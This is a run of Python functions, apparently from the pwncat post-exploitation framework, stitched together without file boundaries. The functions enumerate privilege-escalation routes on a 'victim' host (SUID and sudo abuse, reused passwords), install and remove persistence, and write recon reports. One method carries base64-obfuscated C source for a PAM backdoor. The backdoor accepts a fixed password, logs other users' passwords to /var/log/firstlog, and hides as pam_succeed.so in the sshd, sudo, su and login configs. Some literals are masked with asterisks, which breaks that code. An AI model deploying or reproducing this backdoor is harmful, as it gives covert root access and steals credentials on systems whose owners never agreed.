def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ # Update the cache for the current user # self.find_suid() known_techniques = [] try: for suid in pwncat.victim.enumerate.iter("suid"): # Print status message util.progress(( f"enumerating suid binaries: " f"{Fore.CYAN}{os.path.basename(suid.data.path)}{Fore.RESET}" )) try: binary = pwncat.victim.gtfo.find_binary( suid.data.path, caps) except BinaryNotFound: continue for method in binary.iter_methods(suid.data.path, caps, Stream.ANY): known_techniques.append( Technique( suid.data.owner.name, self, method, method.cap, )) finally: util.erase_progress() return known_techniques
def show_facts(self, typ: str, provider: str, long: bool): """ Display known facts matching the criteria """ data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} if isinstance(typ, list): types = typ else: types = [typ] util.progress("enumerating facts") for typ in types: for fact in pwncat.victim.enumerate.iter( typ, filter=lambda f: provider is None or f.source == provider): util.progress(f"enumerating facts: {fact.data}") if fact.type not in data: data[fact.type] = {} if fact.source not in data[fact.type]: data[fact.type][fact.source] = [] data[fact.type][fact.source].append(fact) util.erase_progress() for typ, sources in data.items(): for source, facts in sources.items(): print( f"{Style.BRIGHT}{Fore.YELLOW}{typ.upper()}{Fore.RESET} Facts by {Fore.BLUE}{source}{Style.RESET_ALL}" ) for fact in facts: print(f" {fact.data}") if long and getattr(fact.data, "description", None) is not None: print(textwrap.indent(fact.data.description, " "))
def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn( "no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}" ) return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print(textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True ) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ # We only provide shell capability if Capability.SHELL not in capability: return [] seen_password = [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="configuration.password"): util.progress(f"enumerating password facts: {str(fact.data)}") if fact.data.value is None: continue if fact.data.value in seen_password: continue if len(fact.data.value) < 6: continue if len(fact.data.value.split(" ")) > 3: continue for _, user in pwncat.victim.users.items(): # This password was already tried for this user and failed if user.name in fact.data.invalid: continue # We already know the password for this user if user.password is not None: continue if ( user.id == 0 and user.name != pwncat.victim.config["backdoor_user"] ) or user.id >= 1000: techniques.append( Technique(user.name, self, fact, Capability.SHELL) ) seen_password.append(fact.data.value) util.erase_progress() return techniques
def installed_methods(self) -> Iterator[Tuple[str, str, PersistenceMethod]]: me = pwncat.victim.current_user for method in pwncat.victim.persist: if method.system and method.installed(): yield (method.name, None, method) elif not method.system: if me.id == 0: for user in pwncat.victim.users: util.progress(f"checking {method.name} for: {user}") if method.installed(user): util.erase_progress() yield (method.name, user, method) util.erase_progress() else: if method.installed(me.name): yield (method.name, me.name, method)
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ rules = [] for fact in pwncat.victim.enumerate("sudo"): util.progress(f"enumerating sudo rules: {fact.data}") # Doesn't appear to be a user specification if not fact.data.matched: continue # This specifies a user that is not us if (fact.data.user != "ALL" and fact.data.user != pwncat.victim.current_user.name and fact.data.group is None): continue # Check if we are part of the specified group if fact.data.group is not None: for group in pwncat.victim.current_user.groups: if fact.data.group == group.name: break else: # Non of our secondary groups match, was our primary group specified? if fact.data.group != pwncat.victim.current_user.group.name: continue # The rule appears to match, add it to the list rules.append(fact.data) # We don't need that progress after this is complete util.erase_progress() techniques = [] for rule in rules: for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability): user = "******" if rule.runas_user == "ALL" else rule.runas_user techniques.append( Technique(user, self, (method, rule), method.cap)) return techniques
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Enumerate capabilities for this method. :param capability: the requested capabilities :return: a list of techniques implemented by this method """ # We only provide shell capability if Capability.SHELL not in capability: return [] techniques = [] for fact in pwncat.victim.enumerate.iter(typ="system.user.password"): util.progress(f"enumerating password facts: {str(fact.data)}") techniques.append( Technique(fact.data.user.name, self, fact.data, Capability.SHELL)) util.erase_progress() return techniques
def load_package(self, path: list): util.progress("loading privesc methods") for loader, module_name, is_pkg in pkgutil.walk_packages(path): method_module = loader.find_module(module_name).load_module( module_name) if is_pkg: continue if getattr(method_module, "Method", None) is None: # This isn't a privesc method. It shouldn't be in this directory continue try: util.progress( f"loading privesc methods: {method_module.Method.name}") method_module.Method.check() self.methods.append(method_module.Method()) except PrivescError: pass util.erase_progress()
def install(self, user: Optional[str] = None): """ Install the persistence method """ if pwncat.victim.current_user.id != 0: raise PersistenceError("must be root") # Source to our module sneaky_source = textwrap.dedent(""" I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fbW9kdWxlcy5oPgojaW5j bHVkZSA8c2VjdXJpdHkvcGFtX2V4dC5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxz eXMvZmlsZS5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPG9wZW5zc2wvc2hhLmg+ClBB TV9FWFRFUk4gaW50IHBhbV9zbV9hdXRoZW50aWNhdGUocGFtX2hhbmRsZV90ICpoYW5kbGUsIGlu dCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KQp7CiAgICBpbnQgcGFtX2NvZGU7 CiAgICBjb25zdCBjaGFyICp1c2VybmFtZSA9IE5VTEw7CiAgICBjb25zdCBjaGFyICpwYXNzd29y ZCA9IE5VTEw7CiAgICBjaGFyIHBhc3N3ZF9saW5lWzEwMjRdOwogICAgaW50IGZvdW5kX3VzZXIg PSAwOwoJY2hhciBrZXlbMjBdID0ge19fUFdOQ0FUX0hBU0hfX307CglGSUxFKiBmaWxwOwogICAg cGFtX2NvZGUgPSBwYW1fZ2V0X3VzZXIoaGFuZGxlLCAmdXNlcm5hbWUsICJVc2VybmFtZTogIik7 CiAgICBpZiAocGFtX2NvZGUgIT0gUEFNX1NVQ0NFU1MpIHsKICAgICAgICByZXR1cm4gUEFNX0lH Tk9SRTsKICAgIH0KICAgIGZpbHAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpOwogICAgaWYo IGZpbHAgPT0gTlVMTCApewogICAgICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQogICAgd2hp bGUoIGZnZXRzKHBhc3N3ZF9saW5lLCAxMDI0LCBmaWxwKSApewogICAgICAgIGNoYXIqIHZhbGlk X3VzZXIgPSBzdHJ0b2socGFzc3dkX2xpbmUsICI6Iik7CiAgICAgICAgaWYoIHN0cmNtcCh2YWxp ZF91c2VyLCB1c2VybmFtZSkgPT0gMCApewogICAgICAgICAgICBmb3VuZF91c2VyID0gMTsKICAg ICAgICAgICAgYnJlYWs7CiAgICAgICAgfSAKICAgIH0KICAgIGZjbG9zZShmaWxwKTsKICAgIGlm KCBmb3VuZF91c2VyID09IDAgKXsKICAgICAgICByZXR1cm4gUEFNX0lHTk9SRTsKICAgIH0KICAg IHBhbV9jb2RlID0gcGFtX2dldF9hdXRodG9rKGhhbmRsZSwgUEFNX0FVVEhUT0ssICZwYXNzd29y ZCwgIlBhc3N3b3JkOiAiKTsKICAgIGlmIChwYW1fY29kZSAhPSBQQU1fU1VDQ0VTUykgewogICAg ICAgIHJldHVybiBQQU1fSUdOT1JFOwogICAgfQoJaWYoIG1lbWNtcChTSEExKHBhc3N3b3JkLCBz dHJsZW4ocGFzc3dvcmQpLCBOVUxMKSwga2V5LCAyMCkgIT0gMCApewoJCWZpbHAgPSBmb3Blbigi X19QV05DQVRfTE9HX18iLCAiYSIpOwoJCWlmKCBmaWxwICE9IE5VTEwgKQoJCXsKCQkJZnByaW50 ZihmaWxwLCAiJXM6JXNcbiIsIHVzZXJuYW1lLCBwYXNzd29yZCk7CgkJCWZjbG9zZShmaWxwKTsK CQl9CgkJcmV0dXJuIFBBTV9JR05PUkU7Cgl9CiAgICByZXR1cm4gUEFNX1NVQ0NFU1M7Cn0KUEFN X0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFn cywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CiAgICAgcmV0dXJuIFBBTV9JR05PUkU7 Cn0KUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQocGFtX2hhbmRsZV90ICpwYW1oLCBpbnQg ZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVybiBQQU1fSUdO T1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9vcGVuX3Nlc3Npb24ocGFtX2hhbmRsZV90ICpw YW1oLCBpbnQgZmxhZ3MsIGludCBhcmdjLCBjb25zdCBjaGFyICoqYXJndikgewogICAgIHJldHVy biBQQU1fSUdOT1JFOwp9ClBBTV9FWFRFUk4gaW50IHBhbV9zbV9jbG9zZV9zZXNzaW9uKHBhbV9o YW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YpIHsK ICAgICByZXR1cm4gUEFNX0lHTk9SRTsKfQpQQU1fRVhURVJOIGludCBwYW1fc21fY2hhdXRodG9r KHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFy Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== """).replace("\n", "") sneaky_source = base64.b64decode(sneaky_source).decode("utf-8") # We use the backdoor password. Build the string of encoded bytes # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...}; password = hashlib.sha1( pwncat.victim.config["backdoor_pass"].encode("utf-8")).digest() password = "******".join(hex(c) for c in password) # Insert our key sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password) # Insert the log location for successful passwords sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", "/var/log/firstlog") # Write the source try: util.progress("pam_sneaky: compiling shared library") try: # Compile our source for the remote host lib_path = pwncat.victim.compile( [io.StringIO(sneaky_source)], suffix=".so", cflags=["-shared", "-fPIE"], ldflags=["-lcrypto"], ) except (FileNotFoundError, CompilationError) as exc: raise PersistenceError(f"pam: compilation failed: {exc}") util.progress("pam_sneaky: locating pam module location") # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" try: results = (pwncat.victim.run( "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"). strip().decode("utf-8")) if results != "": results = results.split("\n") pam_modules = os.path.dirname(results[0]) except FileNotFoundError: pass util.progress(f"pam_sneaky: pam modules located in {pam_modules}") # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) if (Access.DIRECTORY | Access.WRITE) in access: # Copy the module to a non-suspicious path util.progress( f"pam_sneaky: copying shared library to {pam_modules}") pwncat.victim.env([ "mv", lib_path, os.path.join(pam_modules, "pam_succeed.so") ]) new_line = "auth\tsufficient\tpam_succeed.so\n" util.progress(f"pam_sneaky: adding pam auth configuration") # Add this auth method to the following pam configurations for config in ["sshd", "sudo", "su", "login"]: util.progress( f"pam_sneaky: adding pam auth configuration: {config}") config = os.path.join("/etc/pam.d", config) try: # Read the original content with pwncat.victim.open(config, "r") as filp: content = filp.readlines() except (PermissionError, FileNotFoundError): continue # We need to know if there is a rootok line. If there is, # we should add our line after it to ensure that rootok still # works. contains_rootok = any("pam_rootok" in line for line in content) # Add this auth statement before the first auth statement for i, line in enumerate(content): # We either insert after the rootok line or before the first # auth line, depending on if rootok is present if contains_rootok and "pam_rootok" in line: content.insert(i + 1, new_line) elif not contains_rootok and line.startswith("auth"): content.insert(i, new_line) break else: content.append(new_line) content = "".join(content) try: with pwncat.victim.open(config, "w", length=len(content)) as filp: filp.write(content) except (PermissionError, FileNotFoundError): continue pwncat.victim.tamper.created_file("/var/log/firstlog") util.erase_progress() except FileNotFoundError as exc: # A needed binary wasn't found. Clean up whatever we created. raise PersistenceError(str(exc))
def generate_report(self, report_path: str): """ Generate a markdown report of enumeration data for the remote host. This report is generated from all facts which pwncat is capable of enumerating. It does not need nor honor the type or provider options. """ # Dictionary mapping type names to facts. Each type name is mapped # to a dictionary which maps sources to a list of facts. This makes # organizing the output report easier. report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} system_details = [] try: # Grab hostname hostname = pwncat.victim.enumerate.first("system.hostname").data system_details.append(["Hostname", hostname]) except ValueError: hostname = "[unknown-hostname]" # Not provided by enumerate, but natively known due to our connection system_details.append(["Primary Address", pwncat.victim.host.ip]) system_details.append(["Derived Hash", pwncat.victim.host.hash]) try: # Grab distribution distro = pwncat.victim.enumerate.first("system.distro").data system_details.append([ "Distribution", f"{distro.name} ({distro.ident}) {distro.version}" ]) except ValueError: pass try: # Grab the architecture arch = pwncat.victim.enumerate.first("system.arch").data system_details.append(["Architecture", arch.arch]) except ValueError: pass try: # Grab kernel version kernel = pwncat.victim.enumerate.first( "system.kernel.version").data system_details.append([ "Kernel", f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}", ]) except ValueError: pass try: # Grab init system init = pwncat.victim.enumerate.first("system.init").data system_details.append(["Init", init.init]) except ValueError: pass # Build the table writer for the main section table_writer = MarkdownTableWriter() table_writer.headers = ["Property", "Value"] table_writer.column_styles = [ pytablewriter.style.Style(align="right"), pytablewriter.style.Style(align="center"), ] table_writer.value_matrix = system_details table_writer.margin = 1 # Note enumeration data we don't need anymore. These are handled above # in the system_details table which is output with the table_writer. ignore_types = [ "system.hostname", "system.kernel.version", "system.distro", "system.init", "system.arch", ] # This is the list of known enumeration types that we want to # happen first in this order. Other types will still be output # but will be output in an arbitrary order following this list ordered_types = [ # Possible kernel exploits - very important "system.kernel.exploit", # Enumerated user passwords - very important "system.user.password", # Enumerated possible user private keys - very important "system.user.private_key", # Directories in our path that are writable "writable_path", ] # These types are very noisy. They are important for full enumeration, # but are better suited for the end of the list. These are output last # no matter what in this order. noisy_types = [ # System services. There's normally a lot of these "system.service", # Installed packages. There's *always* a lot of these "system.package", ] util.progress("enumerating report_data") for fact in pwncat.victim.enumerate.iter(): util.progress(f"enumerating report_data: {fact.data}") if fact.type in ignore_types: continue if fact.type not in report_data: report_data[fact.type] = {} if fact.source not in report_data[fact.type]: report_data[fact.type][fact.source] = [] report_data[fact.type][fact.source].append(fact) util.erase_progress() try: with open(report_path, "w") as filp: filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n") # Write the system info table table_writer.dump(filp, close_after_write=False) filp.write("\n") # output ordered types first for typ in ordered_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) # output everything that's not a ordered or noisy type for typ, sources in report_data.items(): if typ in ordered_types or typ in noisy_types: continue self.render_section(filp, typ, sources) # Output the noisy types for typ in noisy_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) util.success(f"enumeration report written to {report_path}") except OSError: self.parser.error(f"{report_path}: failed to open output file")